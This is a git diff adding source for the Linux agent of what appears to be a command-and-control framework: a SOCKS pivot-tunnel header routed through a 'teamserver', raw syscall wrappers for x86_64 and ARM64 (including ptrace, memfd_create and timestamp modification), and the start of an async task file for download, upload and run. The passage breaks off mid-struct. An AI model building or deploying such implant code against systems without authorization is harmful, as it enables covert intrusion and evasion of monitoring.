+#include "jobs.h"
+#include "msgpack.h"
+#include
+
+/// Proxyfire -- MUX tunnel engine for SOCKS proxy
+///
+/// Pattern: beacon's Proxyfire.cpp, adapted for Linux (syscalls/libc).
+/// All tunnel I/O is muxed into the main communication channel so it
+/// traverses any pivot chain (2, 3, 4+ hops).
+///
+/// Flow:
+/// teamserver → COMMAND_TUNNEL_START → proxy_connect_tcp()
+/// teamserver → COMMAND_TUNNEL_WRITE → proxy_write_tcp()
+/// teamserver → COMMAND_TUNNEL_PAUSE → proxy_pause()
+/// teamserver → COMMAND_TUNNEL_RESUME → proxy_resume()
+/// teamserver → COMMAND_TUNNEL_STOP → proxy_close()
+/// main loop → process_tunnels() → packs TUNNEL_STATUS/DATA/CLOSE into obj_collector
+
+/// Start an async TCP connection to address (host:port).
+/// The tunnel entry is allocated in g_job_ctx by the caller (task_tunnel_start).
+/// Returns 0 on success (connection in progress), -1 on immediate error.
+int proxy_connect_tcp(int tunnel_idx, const char *address);
+
+/// Queue data from teamserver to be written to the target socket.
+/// Data is buffered in tunnel_entry_t.write_buf and flushed by process_tunnels().
+void proxy_write_tcp(int channel_id, const uint8_t *data, uint32_t len);
+
+/// Pause reading from the target socket (teamserver backpressure).
+void proxy_pause(int channel_id);
+
+/// Resume reading from the target socket.
+void proxy_resume(int channel_id);
+
+/// Close a tunnel by channel_id.
+void proxy_close(int channel_id);
+
+/// Main loop polling function -- called every tick alongside process_pivots().
+/// Performs 4 stages (beacon pattern):
+/// 1. CheckProxy -- poll connecting sockets, pack TUNNEL_STATUS
+/// 2. FlushProxy -- write buffered data to target sockets
+/// 3. RecvProxy -- read from target sockets, pack TUNNEL_DATA
+/// 4. CloseProxy -- cleanup closed tunnels, pack TUNNEL_CLOSE
+/// Returns number of objects appended to obj_collector.
+int process_tunnels(mp_writer_t *obj_collector);
+
+#endif /* PROXYFIRE_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_aarch64.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_aarch64.h
new file mode 100644
index 000000000..0b4af9985
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_aarch64.h
@@ -0,0 +1,438 @@
+#ifndef SYSCALLS_AARCH64_H
+#define SYSCALLS_AARCH64_H
+
+#ifdef ARCH_AARCH64
+
+#include
+#include
+
+/// Linux ARM64 syscall numbers (different from macOS ARM64!)
+/// macOS uses x16 + svc #0x80 — Linux uses x8 + svc #0
+#define __NR_ioctl 29
+#define __NR_fcntl 25
+#define __NR_openat 56
+#define __NR_close 57
+#define __NR_read 63
+#define __NR_write 64
+#define __NR_fstatat 79
+#define __NR_fstat 80
+#define __NR_exit 93
+#define __NR_exit_group 94
+#define __NR_kill 129
+#define __NR_getpid 172
+#define __NR_getuid 174
+#define __NR_geteuid 175
+#define __NR_ptrace 117
+#define __NR_clone 220
+#define __NR_execve 221
+#define __NR_mmap 222
+#define __NR_mprotect 226
+#define __NR_munmap 215
+#define __NR_socket 198
+#define __NR_connect 203
+#define __NR_accept 202
+#define __NR_bind 200
+#define __NR_listen 201
+#define __NR_setsockopt 208
+#define __NR_getsockopt 209
+#define __NR_getcwd 17
+#define __NR_chdir 49
+#define __NR_mkdirat 34
+#define __NR_unlinkat 35
+#define __NR_renameat 38
+#define __NR_getdents64 61
+#define __NR_dup3 24
+#define __NR_pipe2 59
+#define __NR_prctl 167
+#define __NR_utimensat 88
+#define __NR_bpf 280
+#define __NR_getrandom 278
+#define __NR_memfd_create 279
+#define __NR_waitid 95
+#define __NR_wait4 260
+#define __NR_nanosleep 101
+#define __NR_setsid 157
+#define __NR_setpgid 154
+#define __NR_pselect6 72
+
+/// Raw syscall wrappers — inline assembly
+/// Convention: x8=nr, x0-x5=args, svc #0
+
+static inline long raw_syscall0(long number) {
+ register long x8 __asm__("x8") = number;
+ register long x0 __asm__("x0");
+ __asm__ volatile(
+ "svc #0"
+ : "=r"(x0)
+ : "r"(x8)
+ : "memory", "cc"
+ );
+ return x0;
+}
+
+static inline long raw_syscall1(long number, long a0) {
+ register long x8 __asm__("x8") = number;
+ register long x0 __asm__("x0") = a0;
+ __asm__ volatile(
+ "svc #0"
+ : "+r"(x0)
+ : "r"(x8)
+ : "memory", "cc"
+ );
+ return x0;
+}
+
+static inline long raw_syscall2(long number, long a0, long a1) {
+ register long x8 __asm__("x8") = number;
+ register long x0 __asm__("x0") = a0;
+ register long x1 __asm__("x1") = a1;
+ __asm__ volatile(
+ "svc #0"
+ : "+r"(x0)
+ : "r"(x8), "r"(x1)
+ : "memory", "cc"
+ );
+ return x0;
+}
+
+static inline long raw_syscall3(long number, long a0, long a1, long a2) {
+ register long x8 __asm__("x8") = number;
+ register long x0 __asm__("x0") = a0;
+ register long x1 __asm__("x1") = a1;
+ register long x2 __asm__("x2") = a2;
+ __asm__ volatile(
+ "svc #0"
+ : "+r"(x0)
+ : "r"(x8), "r"(x1), "r"(x2)
+ : "memory", "cc"
+ );
+ return x0;
+}
+
+static inline long raw_syscall4(long number, long a0, long a1, long a2, long a3) {
+ register long x8 __asm__("x8") = number;
+ register long x0 __asm__("x0") = a0;
+ register long x1 __asm__("x1") = a1;
+ register long x2 __asm__("x2") = a2;
+ register long x3 __asm__("x3") = a3;
+ __asm__ volatile(
+ "svc #0"
+ : "+r"(x0)
+ : "r"(x8), "r"(x1), "r"(x2), "r"(x3)
+ : "memory", "cc"
+ );
+ return x0;
+}
+
+static inline long raw_syscall5(long number, long a0, long a1, long a2, long a3, long a4) {
+ register long x8 __asm__("x8") = number;
+ register long x0 __asm__("x0") = a0;
+ register long x1 __asm__("x1") = a1;
+ register long x2 __asm__("x2") = a2;
+ register long x3 __asm__("x3") = a3;
+ register long x4 __asm__("x4") = a4;
+ __asm__ volatile(
+ "svc #0"
+ : "+r"(x0)
+ : "r"(x8), "r"(x1), "r"(x2), "r"(x3), "r"(x4)
+ : "memory", "cc"
+ );
+ return x0;
+}
+
+static inline long raw_syscall6(long number, long a0, long a1, long a2, long a3, long a4, long a5) {
+ register long x8 __asm__("x8") = number;
+ register long x0 __asm__("x0") = a0;
+ register long x1 __asm__("x1") = a1;
+ register long x2 __asm__("x2") = a2;
+ register long x3 __asm__("x3") = a3;
+ register long x4 __asm__("x4") = a4;
+ register long x5 __asm__("x5") = a5;
+ __asm__ volatile(
+ "svc #0"
+ : "+r"(x0)
+ : "r"(x8), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5)
+ : "memory", "cc"
+ );
+ return x0;
+}
+
+/// Convenience wrappers
+
+// Note: ARM64 Linux has no open() — use openat(AT_FDCWD, ...)
+#define AT_FDCWD -100
+
+static inline int sys_openat(int dirfd, const char *path, int flags, int mode) {
+ return (int)raw_syscall4(__NR_openat, dirfd, (long)path, flags, mode);
+}
+
+static inline int sys_open(const char *path, int flags, int mode) {
+ return sys_openat(AT_FDCWD, path, flags, mode);
+}
+
+static inline int sys_close(int fd) {
+ return (int)raw_syscall1(__NR_close, fd);
+}
+
+static inline long sys_read(int fd, void *buf, size_t count) {
+ return raw_syscall3(__NR_read, fd, (long)buf, count);
+}
+
+static inline long sys_write(int fd, const void *buf, size_t count) {
+ return raw_syscall3(__NR_write, fd, (long)buf, count);
+}
+
+static inline int sys_getpid(void) {
+ return (int)raw_syscall0(__NR_getpid);
+}
+
+static inline int sys_getuid(void) {
+ return (int)raw_syscall0(__NR_getuid);
+}
+
+static inline int sys_geteuid(void) {
+ return (int)raw_syscall0(__NR_geteuid);
+}
+
+static inline int sys_kill(int pid, int sig) {
+ return (int)raw_syscall2(__NR_kill, pid, sig);
+}
+
+static inline long sys_ptrace(long request, long pid, void *addr, void *data) {
+ return raw_syscall4(__NR_ptrace, request, pid, (long)addr, (long)data);
+}
+
+static inline void *sys_mmap(void *addr, size_t length, int prot, int flags, int fd, long offset) {
+ return (void*)raw_syscall6(__NR_mmap, (long)addr, length, prot, flags, fd, offset);
+}
+
+static inline int sys_munmap(void *addr, size_t length) {
+ return (int)raw_syscall2(__NR_munmap, (long)addr, length);
+}
+
+static inline int sys_mprotect(void *addr, size_t length, int prot) {
+ return (int)raw_syscall3(__NR_mprotect, (long)addr, length, prot);
+}
+
+static inline int sys_execve(const char *pathname, char *const argv[], char *const envp[]) {
+ return (int)raw_syscall3(__NR_execve, (long)pathname, (long)argv, (long)envp);
+}
+
+static inline int sys_getcwd(char *buf, size_t size) {
+ return (int)raw_syscall2(__NR_getcwd, (long)buf, size);
+}
+
+static inline int sys_chdir(const char *path) {
+ return (int)raw_syscall1(__NR_chdir, (long)path);
+}
+
+static inline int sys_getdents64(int fd, void *dirp, unsigned int count) {
+ return (int)raw_syscall3(__NR_getdents64, fd, (long)dirp, count);
+}
+
+static inline int sys_dup3(int oldfd, int newfd, int flags) {
+ return (int)raw_syscall3(__NR_dup3, oldfd, newfd, flags);
+}
+
+// dup2 emulated via dup3(oldfd, newfd, 0)
+static inline int sys_dup2(int oldfd, int newfd) {
+ return sys_dup3(oldfd, newfd, 0);
+}
+
+static inline int sys_pipe2(int pipefd[2], int flags) {
+ return (int)raw_syscall2(__NR_pipe2, (long)pipefd, flags);
+}
+
+static inline int sys_ioctl(int fd, unsigned long request, unsigned long arg) {
+ return (int)raw_syscall3(__NR_ioctl, fd, request, arg);
+}
+
+static inline int sys_fcntl(int fd, int cmd, long arg) {
+ return (int)raw_syscall3(__NR_fcntl, fd, cmd, arg);
+}
+
+static inline long sys_getrandom(void *buf, size_t buflen, unsigned int flags) {
+ return raw_syscall3(__NR_getrandom, (long)buf, buflen, flags);
+}
+
+static inline int sys_memfd_create(const char *name, unsigned int flags) {
+ return (int)raw_syscall2(__NR_memfd_create, (long)name, flags);
+}
+
+static inline int sys_prctl(int option, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5) {
+ return (int)raw_syscall5(__NR_prctl, option, a2, a3, a4, a5);
+}
+
+static inline long sys_bpf(int cmd, void *attr, unsigned int size) {
+ return raw_syscall3(__NR_bpf, cmd, (long)attr, size);
+}
+
+static inline void sys_exit_group(int status) {
+ raw_syscall1(__NR_exit_group, status);
+}
+
+// ── Stat (via fstatat since ARM64 has no stat syscall) ──
+
+struct linux_stat {
+ unsigned long st_dev;
+ unsigned long st_ino;
+ unsigned int st_mode;
+ unsigned int st_nlink;
+ unsigned int st_uid;
+ unsigned int st_gid;
+ unsigned long st_rdev;
+ unsigned long __pad1;
+ long st_size;
+ int st_blksize;
+ int __pad2;
+ long st_blocks;
+ unsigned long st_atime_sec;
+ unsigned long st_atime_nsec;
+ unsigned long st_mtime_sec;
+ unsigned long st_mtime_nsec;
+ unsigned long st_ctime_sec;
+ unsigned long st_ctime_nsec;
+ unsigned int __unused4;
+ unsigned int __unused5;
+};
+
+static inline int sys_fstatat(int dirfd, const char *path, struct linux_stat *buf, int flags) {
+ return (int)raw_syscall4(__NR_fstatat, dirfd, (long)path, (long)buf, flags);
+}
+
+static inline int sys_stat(const char *path, struct linux_stat *buf) {
+ return sys_fstatat(AT_FDCWD, path, buf, 0);
+}
+
+static inline int sys_fstat(int fd, struct linux_stat *buf) {
+ return (int)raw_syscall2(__NR_fstat, fd, (long)buf);
+}
+
+// ── Filesystem (via *at syscalls since ARM64 has no legacy versions) ──
+
+static inline int sys_mkdir(const char *path, int mode) {
+ return (int)raw_syscall3(__NR_mkdirat, AT_FDCWD, (long)path, mode);
+}
+
+static inline int sys_unlink(const char *path) {
+ return (int)raw_syscall3(__NR_unlinkat, AT_FDCWD, (long)path, 0);
+}
+
+#define AT_REMOVEDIR 0x200
+
+static inline int sys_rmdir(const char *path) {
+ return (int)raw_syscall3(__NR_unlinkat, AT_FDCWD, (long)path, AT_REMOVEDIR);
+}
+
+static inline int sys_rename(const char *oldpath, const char *newpath) {
+ return (int)raw_syscall4(__NR_renameat, AT_FDCWD, (long)oldpath, AT_FDCWD, (long)newpath);
+}
+
+// ── Fork (via clone on ARM64) ──
+
+#define SIGCHLD 17
+
+static inline int sys_fork(void) {
+ return (int)raw_syscall5(__NR_clone, SIGCHLD, 0, 0, 0, 0);
+}
+
+// ── Network syscalls ──
+
+static inline int sys_socket(int domain, int type, int protocol) {
+ return (int)raw_syscall3(__NR_socket, domain, type, protocol);
+}
+
+static inline int sys_connect(int fd, const void *addr, unsigned int addrlen) {
+ return (int)raw_syscall3(__NR_connect, fd, (long)addr, addrlen);
+}
+
+static inline int sys_bind(int fd, const void *addr, unsigned int addrlen) {
+ return (int)raw_syscall3(__NR_bind, fd, (long)addr, addrlen);
+}
+
+static inline int sys_listen(int fd, int backlog) {
+ return (int)raw_syscall2(__NR_listen, fd, backlog);
+}
+
+static inline int sys_accept(int fd, void *addr, unsigned int *addrlen) {
+ return (int)raw_syscall3(__NR_accept, fd, (long)addr, (long)addrlen);
+}
+
+static inline int sys_setsockopt(int fd, int level, int optname, const void *optval, unsigned int optlen) {
+ return (int)raw_syscall5(__NR_setsockopt, fd, level, optname, (long)optval, optlen);
+}
+
+static inline int sys_getsockopt(int fd, int level, int optname, void *optval, unsigned int *optlen) {
+ return (int)raw_syscall5(__NR_getsockopt, fd, level, optname, (long)optval, (long)optlen);
+}
+
+// ── Process wait ──
+
+static inline int sys_wait4(int pid, int *wstatus, int options, void *rusage) {
+ return (int)raw_syscall4(__NR_wait4, pid, (long)wstatus, options, (long)rusage);
+}
+
+// ── Sleep (nanosleep) ──
+
+struct linux_timespec {
+ long tv_sec;
+ long tv_nsec;
+};
+
+static inline int sys_nanosleep(const struct linux_timespec *req, struct linux_timespec *rem) {
+ return (int)raw_syscall2(__NR_nanosleep, (long)req, (long)rem);
+}
+
+static inline void sys_sleep(unsigned int seconds) {
+ struct linux_timespec ts = { .tv_sec = seconds, .tv_nsec = 0 };
+ sys_nanosleep(&ts, (struct linux_timespec*)0);
+}
+
+static inline void sys_usleep(unsigned int usec) {
+ struct linux_timespec ts = { .tv_sec = usec / 1000000, .tv_nsec = (usec % 1000000) * 1000L };
+ sys_nanosleep(&ts, (struct linux_timespec*)0);
+}
+
+// ── Timestamp modification ──
+
+static inline int sys_utimensat(int dirfd, const char *path, const struct linux_timespec times[2], int flags) {
+ return (int)raw_syscall4(__NR_utimensat, dirfd, (long)path, (long)times, flags);
+}
+
+// ── Process session/group ──
+
+static inline int sys_setsid(void) {
+ return (int)raw_syscall0(__NR_setsid);
+}
+
+static inline int sys_setpgid(int pid, int pgid) {
+ return (int)raw_syscall2(__NR_setpgid, pid, pgid);
+}
+
+// ── Select (pselect6) ──
+
+static inline int sys_pselect6(int nfds, void *readfds, void *writefds,
+ void *exceptfds, const struct linux_timespec *timeout,
+ const void *sigmask) {
+ return (int)raw_syscall6(__NR_pselect6, nfds, (long)readfds, (long)writefds,
+ (long)exceptfds, (long)timeout, (long)sigmask);
+}
+
+// ── Threading via clone() ──
+
+#define CLONE_VM 0x00000100
+#define CLONE_FS 0x00000200
+#define CLONE_FILES 0x00000400
+#define CLONE_SIGHAND 0x00000800
+#define CLONE_THREAD 0x00010000
+#define CLONE_SYSVSEM 0x00040000
+#define CLONE_SETTLS 0x00080000
+#define CLONE_PARENT_SETTID 0x00100000
+#define CLONE_CHILD_CLEARTID 0x00200000
+
+#define THREAD_CLONE_FLAGS (CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | \
+ CLONE_THREAD | CLONE_SYSVSEM | CLONE_SETTLS | \
+ CLONE_PARENT_SETTID | CLONE_CHILD_CLEARTID)
+
+#endif // ARCH_AARCH64
+#endif // SYSCALLS_AARCH64_H
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_x64.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_x64.h
new file mode 100644
index 000000000..921bc0e53
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_x64.h
@@ -0,0 +1,407 @@
+#ifndef SYSCALLS_X64_H
+#define SYSCALLS_X64_H
+
+#ifdef ARCH_X86_64
+
+#include
+#include
+
+/// Linux x86_64 syscall numbers
+#define __NR_read 0
+#define __NR_write 1
+#define __NR_open 2
+#define __NR_close 3
+#define __NR_stat 4
+#define __NR_fstat 5
+#define __NR_mmap 9
+#define __NR_mprotect 10
+#define __NR_munmap 11
+#define __NR_ioctl 16
+#define __NR_pipe 22
+#define __NR_dup2 33
+#define __NR_socket 41
+#define __NR_connect 42
+#define __NR_accept 43
+#define __NR_bind 49
+#define __NR_listen 50
+#define __NR_setsockopt 54
+#define __NR_getsockopt 55
+#define __NR_clone 56
+#define __NR_fork 57
+#define __NR_execve 59
+#define __NR_exit 60
+#define __NR_kill 62
+#define __NR_fcntl 72
+#define __NR_getcwd 79
+#define __NR_chdir 80
+#define __NR_rename 82
+#define __NR_mkdir 83
+#define __NR_rmdir 84
+#define __NR_unlink 87
+#define __NR_getuid 102
+#define __NR_ptrace 101
+#define __NR_geteuid 107
+#define __NR_getpid 39
+#define __NR_getdents64 217
+#define __NR_exit_group 231
+#define __NR_waitid 247
+#define __NR_openat 257
+#define __NR_pipe2 293
+#define __NR_nanosleep 35
+#define __NR_wait4 61
+#define __NR_select 23
+#define __NR_setsid 112
+#define __NR_setpgid 109
+#define __NR_pselect6 270
+#define __NR_prctl 157
+#define __NR_utimensat 280
+#define __NR_bpf 321
+#define __NR_getrandom 318
+#define __NR_memfd_create 319
+
+/// Raw syscall wrappers — inline assembly
+/// Convention: rax=nr, rdi=a0, rsi=a1, rdx=a2, r10=a3, r8=a4, r9=a5
+/// Clobbered: rcx, r11
+
+static inline long raw_syscall0(long number) {
+ long ret;
+ __asm__ volatile(
+ "syscall"
+ : "=a"(ret)
+ : "a"(number)
+ : "rcx", "r11", "memory"
+ );
+ return ret;
+}
+
+static inline long raw_syscall1(long number, long a0) {
+ long ret;
+ __asm__ volatile(
+ "syscall"
+ : "=a"(ret)
+ : "a"(number), "D"(a0)
+ : "rcx", "r11", "memory"
+ );
+ return ret;
+}
+
+static inline long raw_syscall2(long number, long a0, long a1) {
+ long ret;
+ __asm__ volatile(
+ "syscall"
+ : "=a"(ret)
+ : "a"(number), "D"(a0), "S"(a1)
+ : "rcx", "r11", "memory"
+ );
+ return ret;
+}
+
+static inline long raw_syscall3(long number, long a0, long a1, long a2) {
+ long ret;
+ __asm__ volatile(
+ "syscall"
+ : "=a"(ret)
+ : "a"(number), "D"(a0), "S"(a1), "d"(a2)
+ : "rcx", "r11", "memory"
+ );
+ return ret;
+}
+
+static inline long raw_syscall4(long number, long a0, long a1, long a2, long a3) {
+ long ret;
+ register long r10 __asm__("r10") = a3;
+ __asm__ volatile(
+ "syscall"
+ : "=a"(ret)
+ : "a"(number), "D"(a0), "S"(a1), "d"(a2), "r"(r10)
+ : "rcx", "r11", "memory"
+ );
+ return ret;
+}
+
+static inline long raw_syscall5(long number, long a0, long a1, long a2, long a3, long a4) {
+ long ret;
+ register long r10 __asm__("r10") = a3;
+ register long r8 __asm__("r8") = a4;
+ __asm__ volatile(
+ "syscall"
+ : "=a"(ret)
+ : "a"(number), "D"(a0), "S"(a1), "d"(a2), "r"(r10), "r"(r8)
+ : "rcx", "r11", "memory"
+ );
+ return ret;
+}
+
+static inline long raw_syscall6(long number, long a0, long a1, long a2, long a3, long a4, long a5) {
+ long ret;
+ register long r10 __asm__("r10") = a3;
+ register long r8 __asm__("r8") = a4;
+ register long r9 __asm__("r9") = a5;
+ __asm__ volatile(
+ "syscall"
+ : "=a"(ret)
+ : "a"(number), "D"(a0), "S"(a1), "d"(a2), "r"(r10), "r"(r8), "r"(r9)
+ : "rcx", "r11", "memory"
+ );
+ return ret;
+}
+
+/// Convenience wrappers
+
+static inline int sys_open(const char *path, int flags, int mode) {
+ return (int)raw_syscall3(__NR_open, (long)path, flags, mode);
+}
+
+static inline int sys_openat(int dirfd, const char *path, int flags, int mode) {
+ return (int)raw_syscall4(__NR_openat, dirfd, (long)path, flags, mode);
+}
+
+static inline int sys_close(int fd) {
+ return (int)raw_syscall1(__NR_close, fd);
+}
+
+static inline long sys_read(int fd, void *buf, size_t count) {
+ return raw_syscall3(__NR_read, fd, (long)buf, count);
+}
+
+static inline long sys_write(int fd, const void *buf, size_t count) {
+ return raw_syscall3(__NR_write, fd, (long)buf, count);
+}
+
+static inline int sys_getpid(void) {
+ return (int)raw_syscall0(__NR_getpid);
+}
+
+static inline int sys_getuid(void) {
+ return (int)raw_syscall0(__NR_getuid);
+}
+
+static inline int sys_geteuid(void) {
+ return (int)raw_syscall0(__NR_geteuid);
+}
+
+static inline int sys_kill(int pid, int sig) {
+ return (int)raw_syscall2(__NR_kill, pid, sig);
+}
+
+static inline long sys_ptrace(long request, long pid, void *addr, void *data) {
+ return raw_syscall4(__NR_ptrace, request, pid, (long)addr, (long)data);
+}
+
+static inline void *sys_mmap(void *addr, size_t length, int prot, int flags, int fd, long offset) {
+ return (void*)raw_syscall6(__NR_mmap, (long)addr, length, prot, flags, fd, offset);
+}
+
+static inline int sys_munmap(void *addr, size_t length) {
+ return (int)raw_syscall2(__NR_munmap, (long)addr, length);
+}
+
+static inline int sys_mprotect(void *addr, size_t length, int prot) {
+ return (int)raw_syscall3(__NR_mprotect, (long)addr, length, prot);
+}
+
+static inline int sys_fork(void) {
+ return (int)raw_syscall0(__NR_fork);
+}
+
+static inline int sys_execve(const char *pathname, char *const argv[], char *const envp[]) {
+ return (int)raw_syscall3(__NR_execve, (long)pathname, (long)argv, (long)envp);
+}
+
+static inline int sys_getcwd(char *buf, size_t size) {
+ return (int)raw_syscall2(__NR_getcwd, (long)buf, size);
+}
+
+static inline int sys_chdir(const char *path) {
+ return (int)raw_syscall1(__NR_chdir, (long)path);
+}
+
+static inline int sys_mkdir(const char *path, int mode) {
+ return (int)raw_syscall2(__NR_mkdir, (long)path, mode);
+}
+
+static inline int sys_unlink(const char *path) {
+ return (int)raw_syscall1(__NR_unlink, (long)path);
+}
+
+static inline int sys_rename(const char *oldpath, const char *newpath) {
+ return (int)raw_syscall2(__NR_rename, (long)oldpath, (long)newpath);
+}
+
+static inline int sys_rmdir(const char *path) {
+ return (int)raw_syscall1(__NR_rmdir, (long)path);
+}
+
+static inline int sys_getdents64(int fd, void *dirp, unsigned int count) {
+ return (int)raw_syscall3(__NR_getdents64, fd, (long)dirp, count);
+}
+
+static inline int sys_dup2(int oldfd, int newfd) {
+ return (int)raw_syscall2(__NR_dup2, oldfd, newfd);
+}
+
+static inline int sys_pipe2(int pipefd[2], int flags) {
+ return (int)raw_syscall2(__NR_pipe2, (long)pipefd, flags);
+}
+
+static inline int sys_ioctl(int fd, unsigned long request, unsigned long arg) {
+ return (int)raw_syscall3(__NR_ioctl, fd, request, arg);
+}
+
+static inline int sys_fcntl(int fd, int cmd, long arg) {
+ return (int)raw_syscall3(__NR_fcntl, fd, cmd, arg);
+}
+
+static inline long sys_getrandom(void *buf, size_t buflen, unsigned int flags) {
+ return raw_syscall3(__NR_getrandom, (long)buf, buflen, flags);
+}
+
+static inline int sys_memfd_create(const char *name, unsigned int flags) {
+ return (int)raw_syscall2(__NR_memfd_create, (long)name, flags);
+}
+
+static inline int sys_prctl(int option, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5) {
+ return (int)raw_syscall5(__NR_prctl, option, a2, a3, a4, a5);
+}
+
+static inline long sys_bpf(int cmd, void *attr, unsigned int size) {
+ return raw_syscall3(__NR_bpf, cmd, (long)attr, size);
+}
+
+static inline void sys_exit_group(int status) {
+ raw_syscall1(__NR_exit_group, status);
+}
+
+// ── Stat ──
+
+struct linux_stat {
+ unsigned long st_dev;
+ unsigned long st_ino;
+ unsigned long st_nlink;
+ unsigned int st_mode;
+ unsigned int st_uid;
+ unsigned int st_gid;
+ unsigned int __pad0;
+ unsigned long st_rdev;
+ long st_size;
+ long st_blksize;
+ long st_blocks;
+ unsigned long st_atime_sec;
+ unsigned long st_atime_nsec;
+ unsigned long st_mtime_sec;
+ unsigned long st_mtime_nsec;
+ unsigned long st_ctime_sec;
+ unsigned long st_ctime_nsec;
+ long __unused[3];
+};
+
+static inline int sys_stat(const char *path, struct linux_stat *buf) {
+ return (int)raw_syscall2(__NR_stat, (long)path, (long)buf);
+}
+
+static inline int sys_fstat(int fd, struct linux_stat *buf) {
+ return (int)raw_syscall2(__NR_fstat, fd, (long)buf);
+}
+
+// ── Network syscalls ──
+
+static inline int sys_socket(int domain, int type, int protocol) {
+ return (int)raw_syscall3(__NR_socket, domain, type, protocol);
+}
+
+static inline int sys_connect(int fd, const void *addr, unsigned int addrlen) {
+ return (int)raw_syscall3(__NR_connect, fd, (long)addr, addrlen);
+}
+
+static inline int sys_bind(int fd, const void *addr, unsigned int addrlen) {
+ return (int)raw_syscall3(__NR_bind, fd, (long)addr, addrlen);
+}
+
+static inline int sys_listen(int fd, int backlog) {
+ return (int)raw_syscall2(__NR_listen, fd, backlog);
+}
+
+static inline int sys_accept(int fd, void *addr, unsigned int *addrlen) {
+ return (int)raw_syscall3(__NR_accept, fd, (long)addr, (long)addrlen);
+}
+
+static inline int sys_setsockopt(int fd, int level, int optname, const void *optval, unsigned int optlen) {
+ return (int)raw_syscall5(__NR_setsockopt, fd, level, optname, (long)optval, optlen);
+}
+
+static inline int sys_getsockopt(int fd, int level, int optname, void *optval, unsigned int *optlen) {
+ return (int)raw_syscall5(__NR_getsockopt, fd, level, optname, (long)optval, (long)optlen);
+}
+
+// ── Process wait ──
+
+static inline int sys_wait4(int pid, int *wstatus, int options, void *rusage) {
+ return (int)raw_syscall4(__NR_wait4, pid, (long)wstatus, options, (long)rusage);
+}
+
+// ── Sleep (nanosleep) ──
+
+struct linux_timespec {
+ long tv_sec;
+ long tv_nsec;
+};
+
+static inline int sys_nanosleep(const struct linux_timespec *req, struct linux_timespec *rem) {
+ return (int)raw_syscall2(__NR_nanosleep, (long)req, (long)rem);
+}
+
+static inline void sys_sleep(unsigned int seconds) {
+ struct linux_timespec ts = { .tv_sec = seconds, .tv_nsec = 0 };
+ sys_nanosleep(&ts, (struct linux_timespec*)0);
+}
+
+static inline void sys_usleep(unsigned int usec) {
+ struct linux_timespec ts = { .tv_sec = usec / 1000000, .tv_nsec = (usec % 1000000) * 1000L };
+ sys_nanosleep(&ts, (struct linux_timespec*)0);
+}
+
+// ── Timestamp modification ──
+
+static inline int sys_utimensat(int dirfd, const char *path, const struct linux_timespec times[2], int flags) {
+ return (int)raw_syscall4(__NR_utimensat, dirfd, (long)path, (long)times, flags);
+}
+
+// ── Process session/group ──
+
+static inline int sys_setsid(void) {
+ return (int)raw_syscall0(__NR_setsid);
+}
+
+static inline int sys_setpgid(int pid, int pgid) {
+ return (int)raw_syscall2(__NR_setpgid, pid, pgid);
+}
+
+// ── Select (pselect6) ──
+
+static inline int sys_pselect6(int nfds, void *readfds, void *writefds,
+ void *exceptfds, const struct linux_timespec *timeout,
+ const void *sigmask) {
+ return (int)raw_syscall6(__NR_pselect6, nfds, (long)readfds, (long)writefds,
+ (long)exceptfds, (long)timeout, (long)sigmask);
+}
+
+// ── Threading via clone() ──
+// Minimal pthread replacement for -nostdlib static builds
+// Stack: mmap(STACK_SIZE), child runs fn(arg)
+
+#define CLONE_VM 0x00000100
+#define CLONE_FS 0x00000200
+#define CLONE_FILES 0x00000400
+#define CLONE_SIGHAND 0x00000800
+#define CLONE_THREAD 0x00010000
+#define CLONE_SYSVSEM 0x00040000
+#define CLONE_SETTLS 0x00080000
+#define CLONE_PARENT_SETTID 0x00100000
+#define CLONE_CHILD_CLEARTID 0x00200000
+
+#define THREAD_CLONE_FLAGS (CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | \
+ CLONE_THREAD | CLONE_SYSVSEM | CLONE_SETTLS | \
+ CLONE_PARENT_SETTID | CLONE_CHILD_CLEARTID)
+
+#endif // ARCH_X86_64
+#endif // SYSCALLS_X64_H
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.c
new file mode 100644
index 000000000..4dfacfa0f
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.c
@@ -0,0 +1,772 @@
+/// tasks_async.c -- Async commands for Linux agent (download/upload/run/job_list/job_kill)
+/// Phase 3b: full implementation copied from macOS agent, adapted for Linux direct syscalls
+
+#include "tasks_async.h"
+#include "jobs.h"
+#include "crt.h"
+#include "crypt.h"
+#include "types.h"
+
+#ifdef BUILD_SO
+#include "elf_resolve.h"
+#else
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+#endif
+
+// ── Helpers ──
+
+static void write_error(mp_writer_t *w, const char *msg) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", msg);
+}
+
+// File open/close/read/write/stat abstraction
+#ifdef BUILD_SO
+
+#define F_open(p,f,m) R_open(p,f,m)
+#define F_close(fd) R_close(fd)
+#define F_read(fd,b,n) R_read(fd,b,n)
+#define F_write(fd,b,n) R_write(fd,b,n)
+#define F_fork() R_fork()
+#define F_setpgid(p,g) R_setpgid(p,g)
+#define F_execve(p,a,e) R_execve(p,a,e)
+#define F_dup2(o,n) R_dup2(o,n)
+#define F_pipe(p) R_pipe(p)
+#define F_fcntl(fd,c,a) R_fcntl(fd,c,a)
+#define F_waitpid(p,s,o) R_waitpid(p,s,o)
+#define F_kill(p,s) R_kill(p,s)
+#define F_exit(s) R_exit(s)
+#define F_usleep(u) R_usleep(u)
+
+static int F_fstat_size(int fd) {
+ struct { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink;
+ unsigned int st_mode; unsigned int st_uid; unsigned int st_gid;
